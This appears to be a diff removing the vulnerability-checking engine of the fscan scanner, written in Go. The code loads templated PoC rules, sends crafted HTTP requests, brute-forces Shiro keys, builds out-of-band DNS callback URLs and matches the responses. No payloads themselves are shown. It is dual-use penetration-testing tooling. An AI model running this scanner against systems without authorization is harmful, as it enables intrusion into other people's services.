DealWithRule := func(rule Rules) (bool, error) {
|
|
||||||
Headers := cloneMap(rule.Headers)
|
|
||||||
var (
|
|
||||||
flag, ok bool
|
|
||||||
)
|
|
||||||
for k1, v1 := range variableMap {
|
|
||||||
_, isMap := v1.(map[string]string)
|
|
||||||
if isMap {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
value := fmt.Sprintf("%v", v1)
|
|
||||||
for k2, v2 := range Headers {
|
|
||||||
if !strings.Contains(v2, "{{"+k1+"}}") {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
|
||||||
}
|
|
||||||
rule.Path = strings.ReplaceAll(rule.Path, "{{"+k1+"}}", value)
|
|
||||||
rule.Body = strings.ReplaceAll(rule.Body, "{{"+k1+"}}", value)
|
|
||||||
}
|
|
||||||
|
|
||||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
|
||||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
|
||||||
} else {
|
|
||||||
req.Url.Path = rule.Path
|
|
||||||
}
|
|
||||||
// 某些poc没有区分path和query,需要处理
|
|
||||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
|
||||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
|
||||||
|
|
||||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, string([]rune(req.Url.Path))), strings.NewReader(rule.Body))
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println("[-] newRequest error: ",err)
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
newRequest.Header = oReq.Header.Clone()
|
|
||||||
for k, v := range Headers {
|
|
||||||
newRequest.Header.Set(k, v)
|
|
||||||
}
|
|
||||||
Headers = nil
|
|
||||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
|
||||||
newRequest = nil
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
variableMap["response"] = resp
|
|
||||||
// 先判断响应页面是否匹配search规则
|
|
||||||
if rule.Search != "" {
|
|
||||||
result := doSearch(strings.TrimSpace(rule.Search), GetHeader(resp.Headers)+string(resp.Body))
|
|
||||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
|
||||||
for k, v := range result {
|
|
||||||
variableMap[k] = v
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
|
||||||
//如果false不继续执行后续rule
|
|
||||||
// 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
|
||||||
flag, ok = out.Value().(bool)
|
|
||||||
if !ok {
|
|
||||||
flag = false
|
|
||||||
}
|
|
||||||
return flag, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
DealWithRules := func(rules []Rules) bool {
|
|
||||||
successFlag := false
|
|
||||||
for _, rule := range rules {
|
|
||||||
flag, err := DealWithRule(rule)
|
|
||||||
if err != nil || !flag { //如果false不继续执行后续rule
|
|
||||||
successFlag = false // 如果其中一步为flag,则直接break
|
|
||||||
break
|
|
||||||
}
|
|
||||||
successFlag = true
|
|
||||||
}
|
|
||||||
return successFlag
|
|
||||||
}
|
|
||||||
|
|
||||||
if len(p.Rules) > 0 {
|
|
||||||
success = DealWithRules(p.Rules)
|
|
||||||
} else {
|
|
||||||
for _, item := range p.Groups {
|
|
||||||
name, rules := item.Key, item.Value
|
|
||||||
success = DealWithRules(rules)
|
|
||||||
if success {
|
|
||||||
return success, nil, name
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
return success, nil, ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func doSearch(re string, body string) map[string]string {
|
|
||||||
r, err := regexp.Compile(re)
|
|
||||||
if err != nil {
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
result := r.FindStringSubmatch(body)
|
|
||||||
names := r.SubexpNames()
|
|
||||||
if len(result) > 1 && len(names) > 1 {
|
|
||||||
paramsMap := make(map[string]string)
|
|
||||||
for i, name := range names {
|
|
||||||
if i > 0 && i <= len(result) {
|
|
||||||
paramsMap[name] = result[i]
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return paramsMap
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func newReverse() *Reverse {
|
|
||||||
letters := "1234567890abcdefghijklmnopqrstuvwxyz"
|
|
||||||
randSource := rand.New(rand.NewSource(time.Now().UnixNano()))
|
|
||||||
sub := RandomStr(randSource, letters, 8)
|
|
||||||
//if true {
|
|
||||||
// //默认不开启dns解析
|
|
||||||
// return &Reverse{}
|
|
||||||
//}
|
|
||||||
urlStr := fmt.Sprintf("http://%s.%s", sub, ceyeDomain)
|
|
||||||
u, _ := url.Parse(urlStr)
|
|
||||||
return &Reverse{
|
|
||||||
Url: ParseUrl(u),
|
|
||||||
Domain: u.Hostname(),
|
|
||||||
Ip: "",
|
|
||||||
IsDomainNameServer: false,
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func clusterpoc(oReq *http.Request, p *Poc, variableMap map[string]interface{}, req *Request, env *cel.Env) (success bool, err error) {
|
|
||||||
var strMap StrMap
|
|
||||||
var tmpnum int
|
|
||||||
for i, rule := range p.Rules {
|
|
||||||
if !isFuzz(rule, p.Sets) {
|
|
||||||
success, err = clustersend(oReq, variableMap, req, env, rule)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
if success {
|
|
||||||
continue
|
|
||||||
} else {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
}
|
|
||||||
setsMap := Combo(p.Sets)
|
|
||||||
ruleHash := make(map[string]struct{})
|
|
||||||
look:
|
|
||||||
for j, item := range setsMap {
|
|
||||||
//shiro默认只跑10key
|
|
||||||
if p.Name == "poc-yaml-shiro-key" && !common.PocFull && j >= 10 {
|
|
||||||
if item[1] == "cbc" {
|
|
||||||
continue
|
|
||||||
} else {
|
|
||||||
if tmpnum == 0 {
|
|
||||||
tmpnum = j
|
|
||||||
}
|
|
||||||
if j-tmpnum >= 10 {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
rule1 := cloneRules(rule)
|
|
||||||
var flag1 bool
|
|
||||||
var tmpMap StrMap
|
|
||||||
var payloads = make(map[string]interface{})
|
|
||||||
var tmpexpression string
|
|
||||||
for i, one := range p.Sets {
|
|
||||||
key, expression := one.Key, item[i]
|
|
||||||
if key == "payload" {
|
|
||||||
tmpexpression = expression
|
|
||||||
}
|
|
||||||
_, output := evalset1(env, variableMap, key, expression)
|
|
||||||
payloads[key] = output
|
|
||||||
}
|
|
||||||
for _, one := range p.Sets {
|
|
||||||
flag := false
|
|
||||||
key := one.Key
|
|
||||||
value := fmt.Sprintf("%v", payloads[key])
|
|
||||||
for k2, v2 := range rule1.Headers {
|
|
||||||
if strings.Contains(v2, "{{"+key+"}}") {
|
|
||||||
rule1.Headers[k2] = strings.ReplaceAll(v2, "{{"+key+"}}", value)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if strings.Contains(rule1.Path, "{{"+key+"}}") {
|
|
||||||
rule1.Path = strings.ReplaceAll(rule1.Path, "{{"+key+"}}", value)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
if strings.Contains(rule1.Body, "{{"+key+"}}") {
|
|
||||||
rule1.Body = strings.ReplaceAll(rule1.Body, "{{"+key+"}}", value)
|
|
||||||
flag = true
|
|
||||||
}
|
|
||||||
if flag {
|
|
||||||
flag1 = true
|
|
||||||
if key == "payload" {
|
|
||||||
var flag2 bool
|
|
||||||
for k, v := range variableMap {
|
|
||||||
if strings.Contains(tmpexpression, k) {
|
|
||||||
flag2 = true
|
|
||||||
tmpMap = append(tmpMap, StrItem{k, fmt.Sprintf("%v", v)})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if flag2 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
}
|
|
||||||
tmpMap = append(tmpMap, StrItem{key, value})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !flag1 {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
has := md5.Sum([]byte(fmt.Sprintf("%v", rule1)))
|
|
||||||
md5str := fmt.Sprintf("%x", has)
|
|
||||||
if _, ok := ruleHash[md5str]; ok {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
ruleHash[md5str] = struct{}{}
|
|
||||||
success, err = clustersend(oReq, variableMap, req, env, rule1)
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
if success {
|
|
||||||
if rule.Continue {
|
|
||||||
if p.Name == "poc-yaml-backup-file" || p.Name == "poc-yaml-sql-file" {
|
|
||||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name))
|
|
||||||
} else {
|
|
||||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, tmpMap))
|
|
||||||
}
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
strMap = append(strMap, tmpMap...)
|
|
||||||
if i == len(p.Rules)-1 {
|
|
||||||
common.LogSuccess(fmt.Sprintf("[+] %s://%s%s %s %v", req.Url.Scheme, req.Url.Host, req.Url.Path, p.Name, strMap))
|
|
||||||
//防止后续继续打印poc成功信息
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
break look
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if !success {
|
|
||||||
break
|
|
||||||
}
|
|
||||||
if rule.Continue {
|
|
||||||
//防止后续继续打印poc成功信息
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return success, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func isFuzz(rule Rules, Sets ListMap) bool {
|
|
||||||
for _, one := range Sets {
|
|
||||||
key := one.Key
|
|
||||||
for _, v := range rule.Headers {
|
|
||||||
if strings.Contains(v, "{{"+key+"}}") {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
if strings.Contains(rule.Path, "{{"+key+"}}") {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
if strings.Contains(rule.Body, "{{"+key+"}}") {
|
|
||||||
return true
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return false
|
|
||||||
}
|
|
||||||
|
|
||||||
func Combo(input ListMap) (output [][]string) {
|
|
||||||
if len(input) > 1 {
|
|
||||||
output = Combo(input[1:])
|
|
||||||
output = MakeData(output, input[0].Value)
|
|
||||||
} else {
|
|
||||||
for _, i := range input[0].Value {
|
|
||||||
output = append(output, []string{i})
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func MakeData(base [][]string, nextData []string) (output [][]string) {
|
|
||||||
for i := range base {
|
|
||||||
for _, j := range nextData {
|
|
||||||
output = append(output, append([]string{j}, base[i]...))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return
|
|
||||||
}
|
|
||||||
|
|
||||||
func clustersend(oReq *http.Request, variableMap map[string]interface{}, req *Request, env *cel.Env, rule Rules) (bool, error) {
|
|
||||||
for k1, v1 := range variableMap {
|
|
||||||
_, isMap := v1.(map[string]string)
|
|
||||||
if isMap {
|
|
||||||
continue
|
|
||||||
}
|
|
||||||
value := fmt.Sprintf("%v", v1)
|
|
||||||
for k2, v2 := range rule.Headers {
|
|
||||||
if strings.Contains(v2, "{{"+k1+"}}") {
|
|
||||||
rule.Headers[k2] = strings.ReplaceAll(v2, "{{"+k1+"}}", value)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
rule.Path = strings.ReplaceAll(strings.TrimSpace(rule.Path), "{{"+k1+"}}", value)
|
|
||||||
rule.Body = strings.ReplaceAll(strings.TrimSpace(rule.Body), "{{"+k1+"}}", value)
|
|
||||||
}
|
|
||||||
if oReq.URL.Path != "" && oReq.URL.Path != "/" {
|
|
||||||
req.Url.Path = fmt.Sprint(oReq.URL.Path, rule.Path)
|
|
||||||
} else {
|
|
||||||
req.Url.Path = rule.Path
|
|
||||||
}
|
|
||||||
// 某些poc没有区分path和query,需要处理
|
|
||||||
req.Url.Path = strings.ReplaceAll(req.Url.Path, " ", "%20")
|
|
||||||
//req.Url.Path = strings.ReplaceAll(req.Url.Path, "+", "%20")
|
|
||||||
//
|
|
||||||
newRequest, err := http.NewRequest(rule.Method, fmt.Sprintf("%s://%s%s", req.Url.Scheme, req.Url.Host, req.Url.Path), strings.NewReader(rule.Body))
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Println("[-] newRequest error:",err)
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
newRequest.Header = oReq.Header.Clone()
|
|
||||||
for k, v := range rule.Headers {
|
|
||||||
newRequest.Header.Set(k, v)
|
|
||||||
}
|
|
||||||
resp, err := DoRequest(newRequest, rule.FollowRedirects)
|
|
||||||
newRequest = nil
|
|
||||||
if err != nil {
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
variableMap["response"] = resp
|
|
||||||
// 先判断响应页面是否匹配search规则
|
|
||||||
if rule.Search != "" {
|
|
||||||
result := doSearch(strings.TrimSpace(rule.Search), GetHeader(resp.Headers)+string(resp.Body))
|
|
||||||
if result != nil && len(result) > 0 { // 正则匹配成功
|
|
||||||
for k, v := range result {
|
|
||||||
variableMap[k] = v
|
|
||||||
}
|
|
||||||
//return false, nil
|
|
||||||
} else {
|
|
||||||
return false, nil
|
|
||||||
}
|
|
||||||
}
|
|
||||||
out, err := Evaluate(env, rule.Expression, variableMap)
|
|
||||||
if err != nil {
|
|
||||||
if strings.Contains(err.Error(), "Syntax error") {
|
|
||||||
fmt.Println(rule.Expression, err)
|
|
||||||
}
|
|
||||||
return false, err
|
|
||||||
}
|
|
||||||
//fmt.Println(fmt.Sprintf("%v, %s", out, out.Type().TypeName()))
|
|
||||||
if fmt.Sprintf("%v", out) == "false" { //如果false不继续执行后续rule
|
|
||||||
return false, err // 如果最后一步执行失败,就算前面成功了最终依旧是失败
|
|
||||||
}
|
|
||||||
return true, err
|
|
||||||
}
|
|
||||||
|
|
||||||
func cloneRules(tags Rules) Rules {
|
|
||||||
cloneTags := Rules{}
|
|
||||||
cloneTags.Method = tags.Method
|
|
||||||
cloneTags.Path = tags.Path
|
|
||||||
cloneTags.Body = tags.Body
|
|
||||||
cloneTags.Search = tags.Search
|
|
||||||
cloneTags.FollowRedirects = tags.FollowRedirects
|
|
||||||
cloneTags.Expression = tags.Expression
|
|
||||||
cloneTags.Headers = cloneMap(tags.Headers)
|
|
||||||
return cloneTags
|
|
||||||
}
|
|
||||||
|
|
||||||
func cloneMap(tags map[string]string) map[string]string {
|
|
||||||
cloneTags := make(map[string]string)
|
|
||||||
for k, v := range tags {
|
|
||||||
cloneTags[k] = v
|
|
||||||
}
|
|
||||||
return cloneTags
|
|
||||||
}
|
|
||||||
|
|
||||||
func evalset(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
|
|
||||||
out, err := Evaluate(env, expression, variableMap)
|
|
||||||
if err != nil {
|
|
||||||
variableMap[k] = expression
|
|
||||||
} else {
|
|
||||||
switch value := out.Value().(type) {
|
|
||||||
case *UrlType:
|
|
||||||
variableMap[k] = UrlTypeToString(value)
|
|
||||||
case int64:
|
|
||||||
variableMap[k] = int(value)
|
|
||||||
default:
|
|
||||||
variableMap[k] = fmt.Sprintf("%v", out)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return err, fmt.Sprintf("%v", variableMap[k])
|
|
||||||
}
|
|
||||||
|
|
||||||
func evalset1(env *cel.Env, variableMap map[string]interface{}, k string, expression string) (err error, output string) {
|
|
||||||
out, err := Evaluate(env, expression, variableMap)
|
|
||||||
if err != nil {
|
|
||||||
variableMap[k] = expression
|
|
||||||
} else {
|
|
||||||
variableMap[k] = fmt.Sprintf("%v", out)
|
|
||||||
}
|
|
||||||
return err, fmt.Sprintf("%v", variableMap[k])
|
|
||||||
}
|
|
||||||
|
|
||||||
func CheckInfoPoc(infostr string) string {
|
|
||||||
for _, poc := range info.PocDatas {
|
|
||||||
if strings.Compare(poc.Name, infostr) == 0 {
|
|
||||||
return poc.Alias
|
|
||||||
}
|
|
||||||
}
|
|
||||||
return ""
|
|
||||||
}
|
|
||||||
|
|
||||||
func GetHeader(header map[string]string) (output string) {
|
|
||||||
for name, values := range header {
|
|
||||||
line := fmt.Sprintf("%s: %s\n", name, values)
|
|
||||||
output = output + line
|
|
||||||
}
|
|
||||||
output = output + "\r\n"
|
|
||||||
return
|
|
||||||
}
|
|
||||||
@@ -1,88 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"crypto/tls"
|
|
||||||
"errors"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
"golang.org/x/net/proxy"
|
|
||||||
"log"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
var (
|
|
||||||
Client *http.Client
|
|
||||||
ClientNoRedirect *http.Client
|
|
||||||
dialTimout = 5 * time.Second
|
|
||||||
keepAlive = 5 * time.Second
|
|
||||||
)
|
|
||||||
|
|
||||||
func Inithttp(PocInfo common.PocInfo) {
|
|
||||||
//PocInfo.Proxy = "http://127.0.0.1:8080"
|
|
||||||
err := InitHttpClient(common.PocNum, common.Proxy, time.Duration(common.WebTimeout)*time.Second)
|
|
||||||
if err != nil {
|
|
||||||
log.Fatal(err)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func InitHttpClient(ThreadsNum int, DownProxy string, Timeout time.Duration) error {
|
|
||||||
type DialContext = func(ctx context.Context, network, addr string) (net.Conn, error)
|
|
||||||
dialer := &net.Dialer{
|
|
||||||
Timeout: dialTimout,
|
|
||||||
KeepAlive: keepAlive,
|
|
||||||
}
|
|
||||||
|
|
||||||
tr := &http.Transport{
|
|
||||||
DialContext: dialer.DialContext,
|
|
||||||
MaxConnsPerHost: 5,
|
|
||||||
MaxIdleConns: 0,
|
|
||||||
MaxIdleConnsPerHost: ThreadsNum * 2,
|
|
||||||
IdleConnTimeout: keepAlive,
|
|
||||||
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
|
|
||||||
TLSHandshakeTimeout: 5 * time.Second,
|
|
||||||
DisableKeepAlives: false,
|
|
||||||
}
|
|
||||||
|
|
||||||
if common.Socks5Proxy != "" {
|
|
||||||
dialSocksProxy, err := common.Socks5Dailer(dialer)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
if contextDialer, ok := dialSocksProxy.(proxy.ContextDialer); ok {
|
|
||||||
tr.DialContext = contextDialer.DialContext
|
|
||||||
} else {
|
|
||||||
return errors.New("Failed type assertion to DialContext")
|
|
||||||
}
|
|
||||||
} else if DownProxy != "" {
|
|
||||||
if DownProxy == "1" {
|
|
||||||
DownProxy = "http://127.0.0.1:8080"
|
|
||||||
} else if DownProxy == "2" {
|
|
||||||
DownProxy = "socks5://127.0.0.1:1080"
|
|
||||||
} else if !strings.Contains(DownProxy, "://") {
|
|
||||||
DownProxy = "http://127.0.0.1:" + DownProxy
|
|
||||||
}
|
|
||||||
if !strings.HasPrefix(DownProxy, "socks") && !strings.HasPrefix(DownProxy, "http") {
|
|
||||||
return errors.New("no support this proxy")
|
|
||||||
}
|
|
||||||
u, err := url.Parse(DownProxy)
|
|
||||||
if err != nil {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
tr.Proxy = http.ProxyURL(u)
|
|
||||||
}
|
|
||||||
|
|
||||||
Client = &http.Client{
|
|
||||||
Transport: tr,
|
|
||||||
Timeout: Timeout,
|
|
||||||
}
|
|
||||||
ClientNoRedirect = &http.Client{
|
|
||||||
Transport: tr,
|
|
||||||
Timeout: Timeout,
|
|
||||||
CheckRedirect: func(req *http.Request, via []*http.Request) error { return http.ErrUseLastResponse },
|
|
||||||
}
|
|
||||||
return nil
|
|
||||||
}
|
|
||||||
@@ -1,697 +0,0 @@
|
|||||||
package lib
|
|
||||||
|
|
||||||
import (
|
|
||||||
"bytes"
|
|
||||||
"compress/gzip"
|
|
||||||
"crypto/md5"
|
|
||||||
"encoding/base64"
|
|
||||||
"encoding/hex"
|
|
||||||
"fmt"
|
|
||||||
"github.com/google/cel-go/cel"
|
|
||||||
"github.com/google/cel-go/checker/decls"
|
|
||||||
"github.com/google/cel-go/common/types"
|
|
||||||
"github.com/google/cel-go/common/types/ref"
|
|
||||||
"github.com/google/cel-go/interpreter/functions"
|
|
||||||
"github.com/shadow1ng/fscan/common"
|
|
||||||
exprpb "google.golang.org/genproto/googleapis/api/expr/v1alpha1"
|
|
||||||
"io"
|
|
||||||
"io/ioutil"
|
|
||||||
"math/rand"
|
|
||||||
"net/http"
|
|
||||||
"net/url"
|
|
||||||
"regexp"
|
|
||||||
"strconv"
|
|
||||||
"strings"
|
|
||||||
"time"
|
|
||||||
)
|
|
||||||
|
|
||||||
func NewEnv(c *CustomLib) (*cel.Env, error) {
|
|
||||||
return cel.NewEnv(cel.Lib(c))
|
|
||||||
}
|
|
||||||
|
|
||||||
func Evaluate(env *cel.Env, expression string, params map[string]interface{}) (ref.Val, error) {
|
|
||||||
ast, iss := env.Compile(expression)
|
|
||||||
if iss.Err() != nil {
|
|
||||||
//fmt.Printf("compile: ", iss.Err())
|
|
||||||
return nil, iss.Err()
|
|
||||||
}
|
|
||||||
|
|
||||||
prg, err := env.Program(ast)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Printf("Program creation error: %v", err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
|
|
||||||
out, _, err := prg.Eval(params)
|
|
||||||
if err != nil {
|
|
||||||
//fmt.Printf("Evaluation error: %v", err)
|
|
||||||
return nil, err
|
|
||||||
}
|
|
||||||
return out, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
func UrlTypeToString(u *UrlType) string {
|
|
||||||
var buf strings.Builder
|
|
||||||
if u.Scheme != "" {
|
|
||||||
buf.WriteString(u.Scheme)
|
|
||||||
buf.WriteByte(':')
|
|
||||||
}
|
|
||||||
if u.Scheme != "" || u.Host != "" {
|
|
||||||
if u.Host != "" || u.Path != "" {
|
|
||||||
buf.WriteString("//")
|
|
||||||
}
|
|
||||||
if h := u.Host; h != "" {
|
|
||||||
buf.WriteString(u.Host)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
path := u.Path
|
|
||||||
if path != "" && path[0] != '/' && u.Host != "" {
|
|
||||||
buf.WriteByte('/')
|
|
||||||
}
|
|
||||||
if buf.Len() == 0 {
|
|
||||||
if i := strings.IndexByte(path, ':'); i > -1 && strings.IndexByte(path[:i], '/') == -1 {
|
|
||||||
buf.WriteString("./")
|
|
||||||
}
|
|
||||||
}
|
|
||||||
buf.WriteString(path)
|
|
||||||
|
|
||||||
if u.Query != "" {
|
|
||||||
buf.WriteByte('?')
|
|
||||||
buf.WriteString(u.Query)
|
|
||||||
}
|
|
||||||
if u.Fragment != "" {
|
|
||||||
buf.WriteByte('#')
|
|
||||||
buf.WriteString(u.Fragment)
|
|
||||||
}
|
|
||||||
return buf.String()
|
|
||||||
}
|
|
||||||
|
|
||||||
type CustomLib struct {
|
|
||||||
envOptions []cel.EnvOption
|
|
||||||
programOptions []cel.ProgramOption
|
|
||||||
}
|
|
||||||
|
|
||||||
func NewEnvOption() CustomLib {
|
|
||||||
c := CustomLib{}
|
|
||||||
|
|
||||||
c.envOptions = []cel.EnvOption{
|
|
||||||
cel.Container("lib"),
|
|
||||||
cel.Types(
|
|
||||||
&UrlType{},
|
|
||||||
&Request{},
|
|
||||||
&Response{},
|
|
||||||
&Reverse{},
|
|
||||||
),
|
|
||||||
cel.Declarations(
|
|
||||||
decls.NewIdent("request", decls.NewObjectType("lib.Request"), nil),
|
|
||||||
decls.NewIdent("response", decls.NewObjectType("lib.Response"), nil),
|
|
||||||
//decls.NewIdent("reverse", decls.NewObjectType("lib.Reverse"), nil),
|
|
||||||
),
|
|
||||||
cel.Declarations(
|
|
||||||
// functions
|
|
||||||
decls.NewFunction("bcontains",
|
|
||||||
decls.NewInstanceOverload("bytes_bcontains_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("bmatches",
|
|
||||||
decls.NewInstanceOverload("string_bmatches_bytes",
|
|
||||||
[]*exprpb.Type{decls.String, decls.Bytes},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("md5",
|
|
||||||
decls.NewOverload("md5_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("randomInt",
|
|
||||||
decls.NewOverload("randomInt_int_int",
|
|
||||||
[]*exprpb.Type{decls.Int, decls.Int},
|
|
||||||
decls.Int)),
|
|
||||||
decls.NewFunction("randomLowercase",
|
|
||||||
decls.NewOverload("randomLowercase_int",
|
|
||||||
[]*exprpb.Type{decls.Int},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("randomUppercase",
|
|
||||||
decls.NewOverload("randomUppercase_int",
|
|
||||||
[]*exprpb.Type{decls.Int},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64",
|
|
||||||
decls.NewOverload("base64_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64",
|
|
||||||
decls.NewOverload("base64_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64Decode",
|
|
||||||
decls.NewOverload("base64Decode_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("base64Decode",
|
|
||||||
decls.NewOverload("base64Decode_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urlencode",
|
|
||||||
decls.NewOverload("urlencode_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urlencode",
|
|
||||||
decls.NewOverload("urlencode_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urldecode",
|
|
||||||
decls.NewOverload("urldecode_string",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("urldecode",
|
|
||||||
decls.NewOverload("urldecode_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("substr",
|
|
||||||
decls.NewOverload("substr_string_int_int",
|
|
||||||
[]*exprpb.Type{decls.String, decls.Int, decls.Int},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("wait",
|
|
||||||
decls.NewInstanceOverload("reverse_wait_int",
|
|
||||||
[]*exprpb.Type{decls.Any, decls.Int},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("icontains",
|
|
||||||
decls.NewInstanceOverload("icontains_string",
|
|
||||||
[]*exprpb.Type{decls.String, decls.String},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("TDdate",
|
|
||||||
decls.NewOverload("tongda_date",
|
|
||||||
[]*exprpb.Type{},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("shirokey",
|
|
||||||
decls.NewOverload("shiro_key",
|
|
||||||
[]*exprpb.Type{decls.String, decls.String},
|
|
||||||
decls.String)),
|
|
||||||
decls.NewFunction("startsWith",
|
|
||||||
decls.NewInstanceOverload("startsWith_bytes",
|
|
||||||
[]*exprpb.Type{decls.Bytes, decls.Bytes},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("istartsWith",
|
|
||||||
decls.NewInstanceOverload("startsWith_string",
|
|
||||||
[]*exprpb.Type{decls.String, decls.String},
|
|
||||||
decls.Bool)),
|
|
||||||
decls.NewFunction("hexdecode",
|
|
||||||
decls.NewInstanceOverload("hexdecode",
|
|
||||||
[]*exprpb.Type{decls.String},
|
|
||||||
decls.Bytes)),
|
|
||||||
),
|
|
||||||
}
|
|
||||||
c.programOptions = []cel.ProgramOption{
|
|
||||||
cel.Functions(
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "bytes_bcontains_bytes",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(lhs, "unexpected type '%v' passed to bcontains", lhs.Type())
|
|
||||||
}
|
|
||||||
v2, ok := rhs.(types.Bytes)
|
|
||||||
if !ok {
|
|
||||||
return types.ValOrErr(rhs, "unexpected type '%v' passed to bcontains", rhs.Type())
|
|
||||||
}
|
|
||||||
return types.Bool(bytes.Contains(v1, v2))
|
|
||||||
},
|
|
||||||
},
|
|
||||||
&functions.Overload{
|
|
||||||
Operator: "string_bmatches_bytes",
|
|
||||||
Binary: func(lhs ref.Val, rhs ref.Val) ref.Val {
|
|
||||||
v1, ok := lhs.(types.String)
|
|
||||||
if !ok {
|
|
||||||
